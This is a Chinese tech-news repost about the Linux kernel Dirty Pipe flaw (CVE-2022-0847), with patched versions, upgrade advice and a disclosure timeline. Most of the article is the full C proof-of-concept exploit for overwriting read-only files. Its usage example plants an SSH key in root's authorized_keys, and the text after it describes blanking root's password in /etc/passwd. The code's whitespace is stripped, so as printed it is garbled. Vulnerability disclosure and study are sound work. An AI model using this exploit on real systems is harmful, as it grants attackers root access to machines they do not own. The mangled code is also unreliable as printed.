Linux 内核最新高危提权漏洞:脏管道 (Dirty Pipe)

来自 CM4all 的安全研究员 Max Kellermann 披露了一个 Linux 内核的高危提权漏洞:脏管道 (Dirty Pipe)。漏洞编号为 CVE-2022-0847。

据介绍,此漏洞自 5.8 版本起就已存在。非 root 用户通过注入和覆盖只读文件中的数据,从而获得 root 权限。因为非特权进程可以将代码注入 root 进程。

Max 表示,“脏管道”漏洞与几年前的“脏牛”类似,所以采用了相似的名字,不过前者更容易被利用。此外,该漏洞目前已被黑客利用,研究人员建议尽快升级版本,Linux 5.16.11、5.15.25 和 5.10.102 均已修复了此漏洞。

Max 在文章中提供了漏洞 PoC。

/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <[email protected]>
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/

#define_GNU_SOURCE
#include<unistd.h>
#include<fcntl.h>
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<sys/stat.h>
#include<sys/user.h>

#ifndefPAGE_SIZE
#definePAGE_SIZE4096
#endif

/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
staticvoidprepare_pipe(intp[2])
{
if (pipe(p)) abort();

constunsignedpipe_size=fcntl(p[1], F_GETPIPE_SZ);
staticcharbuffer[4096];

/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsignedr=pipe_size; r>0;) {
unsignedn=r>sizeof(buffer) ?sizeof(buffer) : r;
write(p[1], buffer, n);
r-=n;
}

/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsignedr=pipe_size; r>0;) {
unsignedn=r>sizeof(buffer) ?sizeof(buffer) : r;
read(p[0], buffer, n);
r-=n;
}

/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}

intmain(intargc, char**argv)
{
if (argc!=4) {
fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
returnEXIT_FAILURE;
}

/* dumb command-line argument parser */
constchar*constpath=argv[1];
loff_toffset=strtoul(argv[2], NULL, 0);
constchar*constdata=argv[3];
constsize_tdata_size=strlen(data);

if (offset%PAGE_SIZE==0) {
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
returnEXIT_FAILURE;
}

constloff_tnext_page= (offset| (PAGE_SIZE-1)) +1;
constloff_tend_offset=offset+ (loff_t)data_size;
if (end_offset>next_page) {
fprintf(stderr, "Sorry, cannot write across a page boundary\n");
returnEXIT_FAILURE;
}

/* open the input file and validate the specified offset */
constintfd=open(path, O_RDONLY); // yes, read-only! :-)
if (fd<0) {
perror("open failed");
returnEXIT_FAILURE;
}

structstatst;
if (fstat(fd, &st)) {
perror("stat failed");
returnEXIT_FAILURE;
}

if (offset>st.st_size) {
fprintf(stderr, "Offset is not inside the file\n");
returnEXIT_FAILURE;
}

if (end_offset>st.st_size) {
fprintf(stderr, "Sorry, cannot enlarge the file\n");
returnEXIT_FAILURE;
}

/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
intp[2];
prepare_pipe(p);

/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
--offset;
ssize_tnbytes=splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes<0) {
perror("splice failed");
returnEXIT_FAILURE;
}
if (nbytes==0) {
fprintf(stderr, "short splice\n");
returnEXIT_FAILURE;
}

/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes=write(p[1], data, data_size);
if (nbytes<0) {
perror("write failed");
returnEXIT_FAILURE;
}
if ((size_t)nbytes<data_size) {
fprintf(stderr, "short write\n");
returnEXIT_FAILURE;
}

printf("It worked!\n");
returnEXIT_SUCCESS;
}

据介绍,本地用户可以将自己的数据注入敏感的只读文件,消除限制或修改配置以获得更高的权限。有研究人员通过利用该漏洞修改 /etc/passwd 文件进行了举例,修改后可直接取消 root 用户的密码,然后普通用户使用 su root 命令即可获得 root 账户的访问权限。还有研究人员发现,使用 /usr/bin/su 命令删除 /tmp/sh 中的 root shell 可以更容易获取 root 权限。

最后,建议各位检查所使用的 Linux 服务器的内核版本,若是 5.8 以上的版本请尽快升级。

脏管道 (Dirty Pipe) 漏洞时间线:

  • 2022-02-20:向 Linux 内核安全团队发送错误报告、漏洞利用和补丁
  • 2022-02-21:在 Google Pixel 6 上复现错误,并向 Android 安全团队发送错误报告
  • 2022-02-21: 按照 Linus Torvalds、Willy Tarreau 和 Al Viro 的建议,将补丁发送到 LKML(不含漏洞详细信息)
  • 2022-02-23:发布包含错误修复的 Linux 稳定版本 (5.16.11、5.15.25、5.10.102)
  • 2022-02-24:Google 将错误修复合并到 Android 内核
  • 2022-02-28:通知 linux-distros 邮件列表
  • 2022-03-07:公开披露

本文转自OSCHINA

本文标题:Linux 内核最新高危提权漏洞:脏管道 (Dirty Pipe)

本文地址:https://www.oschina.net/news/185559/linux-dirty-pipe-vulnerability

文章来源网络,作者:运维,如若转载,请注明出处:https://shuyeidc.com/wp/133535.html<

(0)
运维的头像运维
上一篇2025-02-27 12:59
下一篇 2025-02-27 13:00

相关推荐

  • 个人主题怎么制作?

    制作个人主题是一个将个人风格、兴趣或专业领域转化为视觉化或结构化内容的过程,无论是用于个人博客、作品集、社交媒体账号还是品牌形象,核心都是围绕“个人特色”展开,以下从定位、内容规划、视觉设计、技术实现四个维度,详细拆解制作个人主题的完整流程,明确主题定位:找到个人特色的核心主题定位是所有工作的起点,需要先回答……

    2025-11-20
    0
  • 社群营销管理关键是什么?

    社群营销的核心在于通过建立有温度、有价值、有归属感的社群,实现用户留存、转化和品牌传播,其管理需贯穿“目标定位-内容运营-用户互动-数据驱动-风险控制”全流程,以下从五个维度展开详细说明:明确社群定位与目标社群管理的首要任务是精准定位,需明确社群的核心价值(如行业交流、产品使用指导、兴趣分享等)、目标用户画像……

    2025-11-20
    0
  • 香港公司网站备案需要什么材料?

    香港公司进行网站备案是一个涉及多部门协调、流程相对严谨的过程,尤其需兼顾中国内地与香港两地的监管要求,由于香港公司注册地与中国内地不同,其网站若主要服务内地用户或使用内地服务器,需根据服务器位置、网站内容性质等,选择对应的备案路径(如工信部ICP备案或公安备案),以下从备案主体资格、流程步骤、材料准备、注意事项……

    2025-11-20
    0
  • 如何企业上云推广

    企业上云已成为数字化转型的核心战略,但推广过程中需结合行业特性、企业痛点与市场需求,构建系统性、多维度的推广体系,以下从市场定位、策略设计、执行落地及效果优化四个维度,详细拆解企业上云推广的实践路径,精准定位:明确目标企业与核心价值企业上云并非“一刀切”的方案,需先锁定目标客户群体,提炼差异化价值主张,客户分层……

    2025-11-20
    0
  • PS设计搜索框的实用技巧有哪些?

    在PS中设计一个美观且功能性的搜索框需要结合创意构思、视觉设计和用户体验考量,以下从设计思路、制作步骤、细节优化及交互预览等方面详细说明,帮助打造符合需求的搜索框,设计前的规划明确使用场景:根据网站或APP的整体风格确定搜索框的调性,例如极简风适合细线条和纯色,科技感适合渐变和发光效果,电商类则可能需要突出搜索……

    2025-11-20
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注